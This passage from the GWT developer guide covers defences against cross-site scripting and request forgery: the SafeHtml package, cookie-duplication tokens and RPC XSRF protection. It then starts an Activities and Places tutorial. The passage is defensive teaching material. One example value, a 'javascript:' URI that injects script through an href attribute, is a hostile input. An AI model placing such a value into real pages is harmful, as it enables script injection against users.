As a GWT user, you can help reduce XSS vulnerabilities in your code by following these guidelines: • • • • Carefully inspect and strip or escape any strings you assign to innerHTML using GWT code Carefully inspect any JavaScript strings you pass to GWT's JSON parser Carefully inspect any strings you pass to eval or assign to innerHTML via a JSNI method Take care in your native JSNI methods to not do anything that would expose you to attacks

The GWT team is considering adding support for standard string inspection to the GWT library. You would use this to validate any untrusted string to determine if it contains unsafe data (such as a <script> tag.) The idea is that you'd use this method to help you inspect any strings you need to pass to innerHTML or eval. However, this functionality is only being considered right now, so for the time being it's still important to do your own inspections. Be sure to follow the guidelines above -- and be sure to be paranoid!

XSRF and GWT
Also see GWT RPC XSRF protection – Explains how to protect GWT RPCs against XSRF attacks using RPC tokens introduced in GWT 2.3. You can take steps to make your GWT application less vulnerable to XSRF attacks. The same techniques that you might use to protect other AJAX code will also work to protect your GWT application. A common countermeasure for XSRF attacks involves duplicating a session cookie. Earlier, we discussed how the usual cookie-based session management model leaves your application open to XSRF attacks. An easy way to prevent this is to use JavaScript to copy the cookie value and submit it as form data along with your XMLHTTPRequest call. Since the browser's Same-Origin Policy will prevent a third-party site from accessing the cookies from your site, only your site can retrieve your cookie. By submitting the value of the cookie along with the request, your server can compare the actual cookie value with the copy you included; if they don't match, your server knows that the request is an XSRF attempt. 280 / 469

Simply put, this technique is a way of requiring the code that made the request to prove that it has access to the session cookie.

Protecting Your Application
If you are using the RequestBuilder and RequestCallback classes in GWT, you can implement XSRF protection by setting a custom header to contain the value of your cookie. Here is some sample code:
RequestBuilder rb = new RequestBuilder(RequestBuilder.POST, url); rb.setHeader("X-XSRF-Cookie", Cookies.getCookie("myCookieKey")); rb.sendRequest(null, myCallback);

If you are using GWT's RPC mechanism, the solution is unfortunately not quite as clean. However, there are still several ways you can accomplish it. For instance, you can add an argument to each method in your RemoteService interface that contains a String. That is, if you wanted this interface:
public interface MyInterface extends RemoteService { public boolean doSomething(); public void doSomethingElse(String arg); }

...you could actually use this:
public interface MyInterface extends RemoteService { public boolean doSomething(String cookieValue); public void doSomethingElse(String cookieValue, String arg); }

When you call the method, Cookies.getCookie(String).

you

would

pass

in

the

current

cookie

value

that

you

fetch

using

If you prefer not to mark up your RemoteService interfaces in this way, you can do other things instead. You might modify your data-transfer objects to have a field name containing the cookieValue, and set that value whenever you create them. Perhaps the simplest solution is to simply add the cookie value to your URL as a GET parameter. The important thing is to get the cookie value up to the server, somehow. In all of these cases, of course, you'll have to have your server-side code compare the duplicate value with the actual cookie value and ensure that they're the same. The GWT team is also considering enhancing the RPC system to make it easier to prevent XSRF attacks. Again though, that will only appear in a future version, and for now you should take precautions on your own.

JSON and GWT
Protecting Your Single-Site Application
Attacks against JSON and JSONP are pretty fundamental. Once the browser is running the code, there's nothing you can do to stop it. The best way to protect your server against JSON data theft is to avoid sending JSON data to an attacker in the first place. That said, some people advise JSON developers to employ an extra precaution besides the cookie duplication XSRF countermeasure. In this model, your server code would wrap any JSON response strings within JavaScript block comments. For example, instead of returning
['foo', 'bar'] you would instead return /*['foo', 'bar']*/.

The client code is then expected to strip the comment characters prior to passing the string to the eval function. The primary effect of this is that it prevents your JSON data from being stolen via a <script> tag. If you normally expect your server to export JSON data in response to a direct XMLHTTPRequest, this technique would prevent attackers from executing an XSRF attack against your server and stealing the response data via one of the attacks linked to earlier. If you only intend your JSON data to be returned via an XMLHTTPRequest, wrapping the data in a block comment prevents someone from stealing it via a <script> tag. If you are using JSON as the data format exposed by your own services and don't intend servers in other domains to use it, then there is no reason not to use this technique. It might 281 / 469

keep your data safe even in the event that an attacker manages to forge a cookie.

Protecting Your Mashup
You should also use the XSRF cookie-duplication countermeasure if you're exposing services for other mashups to use. However, if you're building a JSONP service that you want to expose publicly, the second comment-block technique we just described will be a hindrance. The reason is that the comment-wrapping technique works by totally disabling support for <script> tags. Since that is at the heart of JSONP, it disables that technique. If you are building a web service that you want to be used by other sites for in-browser mashups, then this technique would prevent that. Conversely, be very careful if you're building mashups with someone else's site! If your application is a "JSON consumer" fetching data from a different domain via dynamic <script> tags, you are exposed to any vulnerabilities they may have. If their site is compromised, your application could be as well. Unfortunately, with the current state of the art, there isn't much you can do about this. After all -- by using a <script> tag, you're trusting their site. You just have to be sure that your trust is well-placed. In other words, if you have critical private information on your own server, you should probably avoid in-browser JSONPstyle mashups with another site. Instead, you might consider building your server to act as a relay or proxy to the other site. With that technique, the browser only communicates with your site, which allows you to use more rigorous protections. It may also provide you with an additional opportunity to inspect strings for evil code.

Conclusion
Web 2.0 can be a scary place. Hopefully we've given you some food for thought and a few techniques you can implement to keep your users safe. Mostly, though, we hope we've instilled a good healthy dose of paranoia in you. If Benjamin Franklin were alive today, he might add a new "certainty" to his famous list: death, taxes... and people trying to crack your site. The only thing we can be sure of is that there will be other exploits in the future, so paranoia will serve you well over time. As a final note, we'd like to stress one more time the importance of staying vigilant. This article is not an exhaustive list of the security threats to your application. This is just a primer, and someday it could become out of date. There may also be other attacks which we're simply unaware of. While we hope you found this information useful, the most important thing you can do for your users' security is to keep learning, and stay as well-informed as you can about security threats. As always, if you have any feedback for us or would like to discuss this issue — now or in the future — please visit our GWT Developer Forum.

4.6.2.

SafeHtml (2.1, 2.2)

Cross-Site-Scripting (XSS) vulnerabilities are a class of web application security bugs that allow an attacker to execute arbitrary malicious JavaScript in the context of a victim's browser session. In turn, such malicious script can for example steal the user's session credentials (resulting in hijacking and full compromise of the user's session), extract and leak sensitive or confidential data from the victim's account, or execute transactions chosen by the attacker in the name of the victim. In GWT applications, many aspects of a web-application's UI are expressed in terms of abstractions (such as Widgets) that do not expose a potential for untrusted data to be interpreted as HTML markup or script. As such, GWT apps are inherently less prone to XSS vulnerabilities than applications built on top of frameworks where UI is rendered directly as HTML (such as server-side templating systems, with the exception of templating systems that automatically escape template variables according to the HTML context the variable appears in). However, GWT applications are not inherently safe from XSS vulnerabilities. A large class of potential XSS vulnerabilities in GWT applications arises from the use of methods that cause the browser to evaluate their argument as HTML, for example, setInnerHTML(String), setHTML(String), as well as the constructors of HTML-containing widgets such as HTML. If an application passes a string to such a method where the string is even partially derived from untrusted input, the application is vulnerable to XSS. In this context, untrusted input includes immediate user input, data the client app has received from the server and which may have been provided to the server by a different, malicious user, as well as values obtained from a history token read from a URL fragment. This document introduces a new security package and accompanying coding guidelines that help developers avoid this class of XSS vulnerabilities, while minimizing overhead in run-time and development effort. A primary goal of the coding guidelines is to facilitate high-confidence code-reviews of applications for the absence of this class of XSS bugs. Note that this document does not address other classes of XSS vulnerabilities that GWT applications may be vulnerable

282 / 469

to, such as server-side XSS, as well as other classes of client-side XSS (for example, calling eval() on an untrusted string in native JavaScript.) 1. Coding Guidelines 2. Coding Guidelines for Developers of Widget Client Code 1. Prefer Plain-Text Widgets 2. Use UiBinder for Declarative Layout 3. Use the SafeHtml Type to Represent XSS-Safe HTML 4. Creating SafeHtml Values 3. Coding Guidelines for Widget Developers 1. Provide SafeHtml Methods and Constructors 2. "Unwrap" SafeHtml Close to the Value's Use 4. Caveats and Limitations

4.6.2.1.

Coding Guidelines

The goals of these guidelines are two-fold: 1. A GWT application whose code-base these guidelines have been consistently and comprehensively applied to should be free of the class of XSS vulnerabilities due to attacker-controlled strings being evaluated as HTML in the browser. 2. The code should be structured such that it is easily reviewable for absence of this class of XSS -- for each use of a potentially XSS-prone method such as Element.setInnerHTML it should be "obvious" that this use can't result in an XSS vulnerability. The second goal is based on the desire to achieve a high degree of confidence in the absence of this class of bugs. When reviewing code, it is often difficult and error-prone to determine whether or not a value passed to some method may be controlled by an attacker, especially if the value is received via a long chain of assignments and method calls. Hence, the central idea behind these guidelines is to use a type to encapsulate strings that are safe to use in HTML context, construct safe HTML into instances of this type, and use this type to "transport" strings as close as possible to a code site where they are used as HTML. Such a use is then easily apparent to be free of XSS vulnerabilities, given the type's contract (as well as Java's type-safety) as an assumption.

4.6.2.2.

Coding Guidelines for Developers of Widget Client Code

The following guidelines are aimed at developers of client-code that uses existing widget libraries, in particular the core widget library that is distributed with GWT.

Prefer Plain-Text Widgets
The best way to avoid XSS bugs, and to write code that is easily seen to be free of XSS vulnerabilities, is to simply not use API methods and widgets that interpret parameters as HTML unless strictly necessary. For example, it is not uncommon to see GWT application code such as:
HTML widget = new HTML("Some text in the widget");

or
widget.setHTML(someText);

In the first example, it's obvious that the value passed to the HTML constructor cannot result in an XSS vulnerability: The value doesn't contain HTML markup, and furthermore is a compile-time constant and hence cannot possibly be manipulated by an attacker. In the second example, it may be obvious to a reviewer that the call is safe if the variable someText is assigned to "nearby" in the code; however if the supplied value is passed in via a parameter through a few layers of method calls this is much less obvious. Also, such a scenario may well result in a bug in a future code iteration if calling code is changed by a developer who doesn't realize that the value will be used in an HTML context. In such situations, it is preferred to use the non-HTML equivalent, that is, the Label widget and the setText method, respectively, both of which are always safe from XSS even if the string passed to the Label constructor or the setText method is under the control of an attacker. Similarly, use setInnerText instead of setInnerHTML on DOM elements.

283 / 469

Use UiBinder for Declarative Layout
Using GWT UiBinder is the preferred approach to declaratively creating Widget and DOM structures in GWT applications. In addition to the primary benefits of UiBinder (clean separation of code and layout, performance, built-in internationalization support), using UiBinder also typically results in code that is much less prone to XSS vulnerabilities than code that uses an ad-hoc approach to assembling HTML markup to, say, be placed into a HTML widget. Often, the "leaf nodes" in the UiBinder-declared layout will be widgets whose data content is plain text rather than HTML markup. As such, they are naturally populated via setText rather than setHTML or equivalent, which completely avoids the potential for an XSS vulnerability.

Use the SafeHtml Type to Represent XSS-Safe HTML
There will be occasions where using UiBinder or similar approaches is not practical or too inconvenient. The com.google.gwt.safehtml package provides types and classes that can be used to write such code and yet have confidence that it is free of XSS. The package provides an interface, SafeHtml, to represent the subset of strings that are safe to use in an HTML context, in the sense that evaluating the string as HTML in a browser will not result in script execution. More specifically, all implementations of this interface must adhere to the type contract that invoking the asString() method on an instance will always return a string that is HTML-safe in the above sense. In addition, the type's contract requires that the concatenation of any two SafeHtml-wrapped strings must itself be safe to use in an HTML context. With the introduction of the com.google.gwt.safehtml package, all of the core GWT library's widgets that take String arguments that are interpreted as HTML have been augmented with corresponding methods that take a SafeHtml-typed value. In particular, all widgets that implement the HasHTML (or HasDirectionalHtml) interface also implement the HasSafeHtml (or HasDirectionalSafeHtml, respectively) interface. These interfaces define:
public void setHTML(SafeHtml html); public void setHTML(SafeHtml html, Direction dir);

as safe alternatives to setHTML(String) and setHTML(String,Direction). For example, the HTML widget has been augmented with the following constructors and methods:
public class HTML extends Label implements HasDirectionalHtml, HasDirectionalSafeHtml { // ... public HTML(SafeHtml html); public HTML(SafeHtml html, Direction dir); @Override public void setHTML(SafeHtml html); @Override public void setHTML(SafeHtml html, Direction dir); }

A central aspect of these coding guidelines is that developers of GWT applications should not use constructors and methods with String-typed parameters whose values are interpreted as HTML, and instead use the SafeHtml equivalent.

Creating SafeHtml Values
The safehtml package provides a number of tools to create instances of SafeHtml that cover many common scenarios in which GWT applications typically manipulate strings containing HTML markup: • • • • • A builder class that facilitates the creation of SafeHtml values by safely combining developer-controlled snippets of HTML markup with (possibly attacker-controlled) values. A templating mechanism that allows the definition of snippets of structured HTML markup, into which values are safely interpolated at run-time. I18N Messages can return localized messages in the form of a SafeHtml. A number of convenience methods are available to create SafeHtml values from strings. A simple HTML sanitizer that accepts a limited subset of HTML markup in its input, and HTML-escapes any HTML markup not within that subset. 284 / 469

Each of the above mechanisms has been carefully reviewed with respect to adherence to the SafeHtml type contract.

SafeHtmlBuilder
In many scenarios, the strings that will be used in an HTML context are concatenated partially from trusted strings (for example, snippets of HTML markup defined within the application's source) and untrusted strings that may be under the control of a potential attacker. The SafeHtmlBuilder class provides a builder interface that supports this use-case while ensuring that the untrusted parts of the string are appropriately escaped. Consider this usage example:
public void showItems(List<String> items) { SafeHtmlBuilder builder = new SafeHtmlBuilder(); for (String item : items) { builder.appendEscaped(item).appendHtmlConstant("<br/>"); } itemsListHtml.setHTML(builder.toSafeHtml()); }

SafeHtmlBuilder's appendHtmlConstant method is used to append a constant snippet of HTML to the builder, without escaping the argument. The appendEscaped method in contrast will HTML-escape its string argument before appending. To allow SafeHtmlBuilder to adhere to the SafeHtml contract, code using it must in turn adhere to the following rules: 1. The argument of appendHtmlConstant must be a string literal (or, more generally, must be fully determined at compile time). 2. The string provided must not end within an HTML tag. For example, the following use would be illegal because the argument of the first appendHtmlConstant contains an incomplete <a> tag; the string ends in the context of the value of the href attribute of that tag:
builder.appendHtmlConstant("<a href='").appendEscaped(url).appendHtmlConstant("'>")

The first rule is necessary to ensure that strings passed to appendHtmlConstant cannot possibly be under the control of an attacker. The second rule is necessary because untrusted strings used inside an HTML tag attribute can result in script execution even if they are HTML-escaped. In the above example, script execution could occur if the value of url is javascript:evil_js_code(). When executing client-side in hosted mode, or server-side with assertions enabled, appendHtmlConstant parses its argument and checks that it satisfies the second constraint. For performance reasons, this check is not performed in production mode in client code, and with assertions disabled on the server. SafeHtmlBuilder also provides the append(SafeHtml) method. The contents of the provided SafeHtml will be appended to the builder without prior escaping (due to the SafeHtml contract, it can be assumed to be HTML-safe). This method allows HTML snippets wrapped as SafeHtml to be composed into larger SafeHtml snippets.

Creating HTML using the SafeHtmlTemplates Interface
To facilitate the creation of SafeHtml instances containing more complex HTML markup, the safehtml package provides a compile-time bound template mechanism which can be used as in this example:

285 / 469

public class MyWidget ... { // ... public interface MyTemplates extends SafeHtmlTemplates { @Template("<span class=\"{3}\">{0}: <a href=\"{1}\">{2}</a></span>") SafeHtml messageWithLink(SafeHtml message, String url, String linkText, String style); } private static final MyTemplates TEMPLATES = GWT.create(MyTemplates.class); public void useTemplate(...) { SafeHtml message; String url; String linkText; String style; // ... InlineHTML messageWithLinkInlineHTML = new InlineHTML( TEMPLATES.messageWithLink(message, url, linkText, style)); // ... }

Instantiating a SafeHtmlTemplates interface with GWT.create() returns an instance of an implementation that is generated at compile time. The code generator parses the value of each template method's @Template annotation as an (X)HTML template, with template variables denoted by curly-brace placeholders that refer by index to the corresponding template method parameter. All methods in SafeHtmlTemplates interfaces must have a return type of SafeHtml. The compile-time generated implementations of such methods are constructed such that they return instances of SafeHtml that indeed honor the SafeHtml type contract. The code generator accomplishes this guarantee by a combination of compile-time checks and run-time checks in the generated code (see however the note below with regards to a limitation of the current implementation): • The template is parsed with a lenient HTML stream parser that accepts HTML similar to what would typically be accepted by a web browser. The parser does not require that templates consist of balanced HTML tags. However, the parser and template code generator enforce the following constraints on input templates: Template parameters may not appear in HTML comments, parameters may not appear in a Javascript context (e.g., inside a <script> tag, or in an onclick handler), parameters in HTML attributes can only appear in the value and must be enclosed in quotes (e.g., <tag attribute="{0}"> would be allowed, <tag {0} attribute={1}> would not), and the template cannot end inside a tag or inside an attribute. For example, the following is not a valid template:
<span><{0} class="xyz" {1}="..."/></span>

The generated code passes actual template parameters through appropriate sanitizer and escaping methods depending on the HTML context that the template parameter appears in and the declared type of the corresponding template method parameter, as described below.

Limitation: The current implementation of the parser cannot guarantee the SafeHtml contract for templates with template variables in a CSS context (that is, within a style attribute or tag). When the parser encounters encounters a template with a variable in a style attribute or tag (e.g., <div style="{0}">), a warning will be emitted. Developers are advised to carefully review these cases to ensure that parameters passed to the template are from a trusted source or suitably sanitized.

Template Processing The choice of escaping and/or sanitization applied to template parameters is made according to the following rules: Parameters in inner HTML context Parameters appearing in plain inner HTML context (for example, parameter {0} and {2} in the MyWidget example) are processed as follows: • If the declared type of the corresponding template method parameter is SafeHtml (for example, parameter message in the MyWidget example), the parameter's actual value is emitted without further validation or escaping. 286 / 469

• •

If the declared type is String (for example, parameter linkText in the example), the parameter's actual value is HTML-escaped at run-time before being emitted. If the declared type is a primitive type (for example, a numeric or Boolean type), the value is converted to String and emitted, but not passed through an escape method because the String representation of primitive types is always free of HTML special characters. If the declared type is any other type, the parameter's value is first converted to String and then HTML escaped.

Parameters in attribute context Parameters appearing in an attribute context (for example, {1} and {3} in the example) are treated as follows: • • If the declared type of the corresponding template method parameter is not String, the parameter's value is first converted to String. The parameter is then HTML-escaped before it is emitted.

Note that parameters with a declared type of SafeHtml are not treated specially if they occur in an attribute context (that is, such parameters will not skip escaping). This is because SafeHtml strings can contain non-escaped HTML special characters (as long as such HTML markup is safe); however no non-escaped HTML special characters are allowed within an attribute's value. Parameters in URI-valued attribute context Parameters that appear at the start of a URI-valued attribute such as src or href, for example parameter {1} but not {3} in the example, are treated specially: • Before HTML escaping, the parameter's value is sanitized to ensure it is safe to use as the value of a URIvalued HTML attribute. This sanitization is performed as follows (see UriUtils.sanitizeUri(String)): • • • URIs that don't have a scheme are considered safe and are used as is. URIs whose scheme equals one of http, https, ftp, mailto are considered safe and are used as is. Any other URI is considered unsafe and discarded; instead the "void" URI "#" is inserted into the template.

Limitation: There is no escaping mechanism for the parameter syntax. For example, it is impossible to write a template that results in a literal output containing a substring of the form {0}.

Convenience Methods
The SafeHtmlUtils class provides a number of convenience methods to create SafeHtml values from strings: • • SafeHtmlUtils.fromString(String s) HTML-escapes its argument and returns the result wrapped as a SafeHtml. SafeHtmlUtils.fromSafeConstant(String s) Returns a compile-time constant string wrapped as a SafeHtml, without escaping the value. To allow fromSafeConstant to adhere to the SafeHtml contract, code using it must in turn adhere to the same constraints that apply to SafeHtmlBuilder.appendHtmlConstant: 1. The argument of fromSafeConstant must be a string literal (or, more generally, must be fully determined at compile time). 2. The string provided must not end within an HTML tag. For example, the following use would be illegal because the value passed to fromSafeConstant contains an incomplete <a> tag; the string ends in the context of the value of the href attribute of that tag:
SafeHtml safeHtml = SafeHtmlUtils.fromSafeConstant("<a href='");

SafeHtmlUtils.fromTrustedString(String s) Returns its argument as a SafeHtml, without performing any form of validation or escaping. It is the 287 / 469

developer's responsibility to ensure that values passed to this method adhere to the SafeHtml contract. Use of this method is strongly discouraged; it is intended to only be used in scenarios where existing code produces values that are known to satisfy the SafeHtml type contract, but such code cannot be easily refactored to itself produce SafeHtml-typed values.

SimpleHtmlSanitizer
SimpleHtmlSanitizer produces instances of SafeHtml from input strings by applying a simple sanitization algorithm at run-time. It is intended for scenarios where code receives strings containing simple HTML markup, for example, from a server-side backend. An example might be search snippets with query terms marked by <b> tags, as in "<b>Flowers</b>, roses, plants &amp; gift baskets delivered. Order <b>flowers</b> from ...". A GWT application that needs to render such strings can't simply HTML-escape them, since they do contain legitimate HTML. At the same time, the developer of the application might not want to rely on the backend that produced the snippets to be entirely bug free, and to never produce strings that may contain third-party controlled and potentially malicious HTML markup. Instead, such strings can be wrapped as a SafeHtml by passing them through SimpleHtmlSanitizer, for example:
SafeHtml snippetHtml = SimpleHtmlSanitizer.sanitizeHtml(snippet);

SimpleHtmlSanitizer uses a simple sanitization algorithm that accepts the following markup: • • A white-list of basic HTML tags without attributes, including <b>, <em>, <i>, <h1>, ..., <h5>, <hr>, <ul>, <ol>, <li> and the corresponding end tags. HTML entities and entity references, such as &#39;, &#x2F;, &amp;, &quot;, etc.

HTML markup in this subset will not be escaped; HTML meta-characters that are not part of a sub-string in the above set will be escaped. For example, the string:
foo < bar &amp; that is <em>good</em>, <span style="foo: bar">...

will be sanitized into:
foo &lt; bar &amp; that is <em>good</em>, &lt;span style=&quot;foo: bar&quot;&gt;...

Note that SimpleHtmlSanitizer does not make any guarantees that the resulting HTML will be well-formed, and that, for example, all remaining tags in the HTML are balanced. The result of sanitization is returned as a SafeHtml and can be appended to a SafeHtmlBuilder without getting escaped.

4.6.2.3.

Coding Guidelines for Widget Developers

Developers of widgets (or other library components) should consider the HTML safety of the widget under development. If possible, widgets should be designed and implemented such that their use cannot result in XSS vulnerabilities under any circumstance. If doing so is not possible, the widget should be designed and implemented such that it is straightforward and natural for developers of client code to use it safely, and furthermore such that it is straightforward for a code reviewer to determine if a given use of the widget is safe. For example, a given instantiation of GWT's HTML widget cannot result in an XSS vulnerability as long as its use does not involve calls to the HTML(String) and related constructors, or the HTML.setHTML(String) or HTML.setHTML(String,Direction) methods. Code that uses the equivalent SafeHtml constructors and methods is always safe.

Provide SafeHtml Methods and Constructors
Widgets with constructors or methods with an argument that is interpreted as HTML should provide equivalent constructors and methods that take SafeHtml values. In particular, widgets that implement HasHTML or HasDirectionalHtml should also implement HasSafeHtml or HasDirectionalSafeHtml, respectively. 288 / 469

"Unwrap" SafeHtml Close to the Value's Use
The values wrapped inside a SafeHtml will eventually be used in an HTML context and, for example, used to set a DOM element's innerHTML. To make widget implementations as "obviously safe" as possible, the String content of a SafeHtml should be extracted as close as possible to such a use. For example, a SafeHtml value should be unwrapped immediately before it is assigned to innerHTML, and no earlier:
element.setInnerHTML(safeHtml.asString());

Widgets that are composed of other widgets should not unwrap SafeHtml values when initializing sub-widgets, and instead pass the SafeHtml to the sub-widget. For example, write:
public class MyPanel extends HorizontalPanel { InlineHTML messageWidget; SafeHtml currentMessage; public void setMessage(SafeHtml newMessage) { currentMessage = newMessage; updateUi(); } private void updateUi() { messageWidget.setHTML(currentMessage); } }

instead of:
public class MyPanel extends HorizontalPanel { InlineHTML messageWidget; String currentMessage; public void setMessage(SafeHtml newMessage) { currentMessage = newMessage.asString(); updateUi(); } private void updateUi() { // Potentially unsafe call to setHTML(String) messageWidget.setHTML(currentMessage); } }

While both implementations provide a safe external interface, the second implementation is not as obviously free from XSS vulnerabilities as the first: It involves a call to setHTML(String) that is not inherently safe. The value passed to setHTML(String) is obtained from a field. To determine if this widget is free from XSS vulnerabilities, a code reviewer would have to inspect every assignment to the field and verify that it can only be assigned safe HTML. In a trivial example as the above this is quite straightforward, but in more complex, real-world code this a potentially time consuming and error prone process.

4.6.2.4.

Caveats and Limitations

Comprehensive and consistent use of SafeHtml during development of a GWT application can substantially reduce the incidence of XSS vulnerabilities in that application. However, it does not guarantee the absence of XSS vulnerabilities. XSS vulnerabilities may be present in such an application for a number of reasons, including the following: • There may be a bug in code that creates SafeHtml values that causes it to sometimes produce values that violate the type contract. If such a value is used as HTML (for instance, assigned to a DOM element's innerHTML property), an XSS vulnerability may be present. Application code may be incorrectly using SafeHtmlBuilder.appendHtmlConstant or SafeHtmlUtils.fromSafeConstant. For example, if one of these methods is passed a value that is not program-controlled as required, but rather is derived from an external input, an XSS vulnerability may be present. Application code may be incorrectly using SafeHtmlUtils.fromTrustedString. If this method is used to SafeHtml-wrap a value that is based on third-party inputs and is not strictly guaranteed to adhere to the SafeHtml type contract, an XSS vulnerability may arise. 289 / 469

Application code may have XSS bugs that are not due the use of external inputs in HTML contexts, and are beyond the scope of the SafeHtml library and guidelines.

4.6.3.

GWT RPC XSRF protection (2.3)

Cross-Site Request Forgery (XSRF or CSRF) is a type of web attack where an attacker can perform actions on behalf of an authenticated user without user's knowledge. Typically, it involves crafting a malicious HTML page, which, once visited by a victim, will cause the victim's browser to issue an attacker-controlled request to a third-party domain. If the victim is authenticated to the third-party domain, the request will be sent with the browser's cookies for that domain, and could potentially trigger an undesirable action on behalf of the victim and without victim's consent - for example, delete or modify a blog or add a mail forward rule. This document explains how developers can protect GWT RPCs against XSRF attacking using GWT's builtin XSRF protection introduced in GWT 2.3 1. Overview 2. Server-side changes 3. Client-side changes

4.6.3.1.

Overview

RPC XSRF protection is built using RpcToken feature, which lets a developer set a token on a RPC endpoint using HasRpcToken interface and have that token included with each RPC call made via that endpoint. Default XSRF protection implementation derives XSRF token from a session authentication cookie by generating an MD5 hash of the session cookie value and using the resulting hash as XSRF token. This stateless XSRF protection implementation relies on the fact that attacker doesn't have access to the session cookie and thus is unable to generate valid XSRF token.

4.6.3.2.

Server-side changes

Configure XsrfTokenServiceServlet
Client-side code will obtain XSRF tokens by calling XsrfTokenService.getNewXsrfToken() server-side implementation configured in web.xml:
<servlet> <servlet-name>xsrf</servlet-name> <servlet-class> com.google.gwt.user.server.rpc.XsrfTokenServiceServlet </servlet-class> </servlet> <servlet-mapping> <servlet-name>xsrf</servlet-name> <url-pattern>/gwt/xsrf</url-pattern> </servlet-mapping>

Since XSRF token is tied to an authentication session cookie, the name of that cookie must be passed to the XsrfTokenServiceServlet as well as all XSRF-protected RPC service servlets. This is done via context parameter in web.xml:
<context-param> <param-name>gwt.xsrf.session_cookie_name</param-name> <param-value>JSESSIONID</param-value> </context-param>

Note: Servlet initialization parameter (<init-param>) can also be used to pass the name of the session cookie to each servlet individually.

290 / 469

Make RPC servlets XSRF protected
All server-side implementations of RPC services must extend XsrfProtectedServiceServlet:
package com.example.foo.server; import com.google.gwt.user.server.rpc.XsrfProtectedServiceServlet; import com.example.client.MyService; public class MyServiceImpl extends XsrfProtectedServiceServlet implements MyService { public String myMethod(String s) { // Do something interesting with 's' here on the server. return s; } }

4.6.3.3.

Client-side changes

Make client RPC interfaces XSRF protected
Client-side RPC interfaces can be marked as XSRF protected using one of the following ways: • by extending XsrfProtectedService, in which case all methods calls will require XsrfToken:
package com.example.foo.client; import com.google.gwt.user.client.rpc.XsrfProtectedService; public interface MyService extends XsrfProtectedService { public String myMethod(String s); }

by explicitly annotating interface or methods with @XsrfProtect annotation. @NoXsrfProtect annotation can be used to disable XSRF protection on a method or service to disable XSRF protection:
package com.example.foo.client; import com.google.gwt.user.client.rpc.RemoteService; import com.google.gwt.user.server.rpc.XsrfProtect @XsrfProtect public interface MyService extends RemoteService { public String myMethod(String s); }

Method level annotations override RPC interface level annoatations. If no annotations are present and the RPC interface contains a method that returns RpcToken or its implementation, then XSRF token validation is performed on all methods of that interface except for the method returning RpcToken. Tip: To specify which RpcToken implementation GWT should generate serializers for use @RpcTokenImplementation annotation.

Include XsrfToken with RPC calls
To make a call to an XSRF protected service client must obtain a valid XsrfToken and set it on the service endpoint by casting the service's asynchronous interface to HasRpcToken and calling setRpcToken() method:

291 / 469

XsrfTokenServiceAsync xsrf = (XsrfTokenServiceAsync)GWT.create(XsrfTokenService.class); ((ServiceDefTarget)xsrf).setServiceEntryPoint(GWT.getModuleBaseURL() + "xsrf"); xsrf.getNewXsrfToken(new AsyncCallback<XsrfToken>() { public void onSuccess(XsrfToken token) { MyServiceAsync rpc = (MyServiceAsync)GWT.create(MyService.class); ((HasRpcToken) rpc).setRpcToken(token); // make XSRF protected RPC call rpc.doStuff(new AsyncCallback<Void>() { // ... }); } public void onFailure(Throwable caught) { try { throw caught; } catch (RpcTokenException e) { // Can be thrown for several reasons: // - duplicate session cookie, which may be a sign of a cookie // overwrite attack // - XSRF token cannot be generated because session cookie isn't // present } catch (Throwable e) { // unexpected } });

Tip: If you would like to register a special handler for exceptions generated during XsrfToken validation use HasRpcToken.setRpcTokenExceptionHandler()

292 / 469

4.7.

Activities and Places (2.1)

GWT 2.1 introduced a built-in framework for browser history management. The Activities and Places framework allows you to create bookmarkable URLs within your application, thus allowing the browser's back button and bookmarks to work as users expect. It builds on GWT's history mechanism and may be used in conjunction with MVP development, though not required. Strictly speaking, MVP architecture is not concerned with browser history management, but Activities and Places may be used with MVP development as shown in this article. If you're not familiar with MVP, you may want to read these articles first: • • Large scale application development and MVP, Part I Large scale application development and MVP, Part II

Definitions An activity simply represents something the user is doing. An Activity contains no Widgets or UI code. Activities typically restore state ("wake up"), perform initialization ("set up"), and load a corresponding UI ("show up"). Activities are started and stopped by an ActivityManager associated with a container Widget. An Activity can automatically display a warning confirmation when the Activity is about to be stopped (such as when the user navigates to a new Place). In addition, the ActivityManager warns the user before the window is about to be closed. A place is a Java object representing a particular state of the UI. A Place can be converted to and from a URL history token (see GWT's History mechanism) by defining a PlaceTokenizer for each Place, and GWT's PlaceHistoryHandler automatically updates the browser URL corresponding to each Place in your app. You can download all of the code referenced here in this sample app. The sample app is a simple "Hello, World!" example demonstrating the use of Activities and Places with MVP. Let's take a look at each of the moving parts in a GWT 2.1 app using Places and Activities. 1. 2. 3. 4. 5. 6. Views ClientFactory Activities Places PlaceHistoryMapper ActivityMapper

Then we'll take at how you wire it all together and how it works. 1. 2. 3. 4. Putting it all together How it all works How to navigate Related resources

4.7.1.

Views

A view is simply the part of the UI associated with an Activity. In MVP development, a view is defined by an interface, which allows multiple view implementations based on client characteristics (such as mobile vs. desktop) and also facilitates lightweight unit testing by avoiding the time-consuming GWTTestCase. There is no View interface or class in GWT which views must implement or extend; however, GWT 2.1 introduces an IsWidget interface that is implemented by most Widgets as well as Composite. It is useful for views to extend IsWidget if they do in fact provide a Widget. Here is a simple view from our sample app.
public interface GoodbyeView extends IsWidget { void setName(String goodbyeName); }

The corresponding view implementation extends Composite, which keeps dependencies on a particular Widget from leaking out.

293 / 469

public class GoodbyeViewImpl extends Composite implements GoodbyeView { SimplePanel viewPanel = new SimplePanel(); Element nameSpan = DOM.createSpan(); public GoodbyeViewImpl() { viewPanel.getElement().appendChild(nameSpan); initWidget(viewPanel); } @Override public void setName(String name) { nameSpan.setInnerText("Good-bye, " + name); } }

Here is a slightly more complicated view that additionally defines an interface for its corresponding presenter (activity).
public interface HelloView extends IsWidget { void setName(String helloName); void setPresenter(Presenter presenter); public interface Presenter { void goTo(Place place); } }

The Presenter interface and setPresenter method allow for bi-directional communication between view and presenter, which simplifies interactions involving repeating Widgets and also allows view implementations to use UiBinder with @UiHandler methods that delegate to the presenter interface. The HelloView implementation uses UiBinder and a template.
public class HelloViewImpl extends Composite implements HelloView { private static HelloViewImplUiBinder uiBinder = GWT .create(HelloViewImplUiBinder.class); interface HelloViewImplUiBinder extends UiBinder { } @UiField SpanElement nameSpan; @UiField Anchor goodbyeLink; private Presenter presenter; private String name; public HelloViewImpl() { initWidget(uiBinder.createAndBindUi(this)); } @Override public void setName(String name) { this.name = name; nameSpan.setInnerText(name); } @UiHandler("goodbyeLink") void onClickGoodbye(ClickEvent e) { presenter.goTo(new GoodbyePlace(name)); } @Override public void setPresenter(Presenter presenter) { this.presenter = presenter; } }

Note the use of @UiHandler that delegates to the presenter. Here is the corresponding template:

294 / 469

